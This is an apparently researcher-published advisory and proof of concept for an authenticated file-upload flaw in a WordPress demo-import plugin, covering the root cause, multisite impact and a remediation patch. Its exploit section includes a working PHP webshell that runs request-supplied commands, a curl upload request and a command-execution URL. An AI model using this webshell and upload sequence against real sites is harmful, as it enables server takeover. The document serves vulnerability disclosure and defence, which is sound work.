minhhk68/cve-2026-13157Proof of concept and root-cause analysis for an authenticated arbitrary file upload in WordPress Theme Demo Import leading to remote code execution via a PHP webshell.
-E5A500?style=for-the-badge&logo=security&logoColor=white){kind=icon}
CVE-2026-13157 is an authenticated arbitrary file upload vulnerability affecting the Theme Demo Import WordPress plugin prior to and including version 1.1.3, discovered and analyzed by cybersecurity researcher Huynh Kien Minh (MinhHK). The vulnerability exists within the AJAX demo import routine (TDI_import_demo_data), where the plugin explicitly disables standard WordPress file-type verification tests ('test_type' => false) during upload processing. An authenticated user possessing import capabilities—such as a default site administrator or a non-super-admin site administrator in a WordPress Multisite architecture—can bypass file restriction enforcement to upload arbitrary executable PHP scripts directly into the public directory, achieving persistent Remote Code Execution (RCE) and complete server compromise.
wp-content/uploads/| Parameter | Technical Specification |
|---|---|
| Vulnerability Identifier | CVE-2026-13157 |
| Target Software | Theme Demo Import (WordPress Plugin) |
| Plugin Slug | theme-demo-import |
| Affected Versions | <= 1.1.3 |
| Vulnerability Class | Unrestricted Upload of File with Dangerous Type (CWE-434 / OWASP A03) |
| CVSS v3.1 Score | 6.6 (Medium) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Discoverer / Researcher | Huynh Kien Minh (MinhHK) |
| Verification Authority | WPScan / MITRE Corporation |
| WPScan Advisory URL | https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/ |
| Researcher Portfolio | https://minhhk.web.app/ |
The root cause of CVE-2026-13157 resides within the file upload handling architecture implemented in inc/class-tdi-helpers.php. During demo data import operations, the plugin handles incoming file attachments via the AJAX endpoint registered in inc/class-tdi-main.php at Line 55:
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );
When processing uploaded demo configuration files (content_file, widget_file, and customizer_file), the internal import method directly instructs the WordPress wp_handle_upload() API to bypass file mime-type and form validation checks:
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
'test_form' => false,
'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);
// Handle demo content and widgets file upload.
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
By passing 'test_type' => false into $upload_overrides, the developer overrode the WordPress core MIME verification subsystem (wp_check_filetype_and_ext()). As a direct consequence, the application no longer restricts file attachments to safe demo data formats (.xml, .json, .wie, .dat), permitting any authenticated user with access to the settings page to upload executable PHP scripts (.php, .phtml, .phar) straight into the public document root.
Ethical Research Disclaimer: This proof of concept is documented strictly for educational auditing, defensive engineering, and authorized security validation. Unauthorized exploitation of live systems is prohibited.
<= 1.1.3.import capabilities (Admin / Multisite Site Admin).tdi-ajax-verification (exposed in page DOM as JavaScript object property tdi.ajax_nonce on /wp-admin/themes.php?page=theme-demo-import).exploit_webshell.php:<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
} else {
echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
-F "action=TDI_import_demo_data" \
-F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
-F "content_file=@exploit_webshell.php;type=application/x-php"
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>
While single-site WordPress installations grant standard Administrators trusted control over the server environment, CVE-2026-13157 introduces critical security boundaries collapse in Enterprise and Multisite deployments:
unfiltered_upload capability is reserved solely for Network Super Admins). CVE-2026-13157 completely shatters this multi-tenant tenant isolation, enabling an unverified sub-site administrator to drop a web shell and execute system commands across the entire server network.DISALLOW_FILE_EDIT). This vulnerability circumvents hosting restrictions by leveraging the plugin's native file transfer mechanism to write arbitrary executable code directly into writable volume storage.To securely resolve CVE-2026-13157, software maintainers and defensive engineers must immediately reinstate strict MIME-type and file extension validation within the upload handling logic in inc/class-tdi-helpers.php.
Remove the insecure override 'test_type' => false and enforce a rigorous allowlist restricted strictly to standard WordPress export structures (text/xml, application/json):
// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 510)
$upload_overrides = array(
'test_form' => false,
'test_type' => true, // Enforce strict core file-type verification
'mimes' => array(
'xml' => 'text/xml',
'json' => 'application/json',
'wie' => 'application/json',
'dat' => 'text/plain',
),
);
// Perform capability check before handling upload
if ( ! current_user_can( 'import' ) ) {
wp_send_json_error( array( 'message' => __( 'Insufficient privileges to perform import.', 'theme-demo-import' ) ), 403 );
}
// Proceed with validated file handling
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
Huynh Kien Minh (MinhHK) is an information security researcher, software developer, and vulnerability analyst specializing in offensive web application security, PHP application architecture auditing, and enterprise exploitation vectors. His discoveries and technical advisories have been formally recognized by major global vulnerability databases and product security naming authorities.
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
"headline": "CVE-2026-13157: Theme Demo Import Arbitrary File Upload & Remote Code Execution Advisory",
"alternativeHeadline": "Technical Deep-Dive and Exploit Analysis for CVE-2026-13157 by Huynh Kien Minh",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"inLanguage": "en-US",
"description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
"keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
},
{
"@type": "SecurityAdvisory",
"@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
"identifier": "CVE-2026-13157",
"name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
"category": "Arbitrary File Upload / RCE",
"cvssScore": "6.6",
"severity": "Medium",
"softwareVersion": "<= 1.1.3",
"url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
}
]
}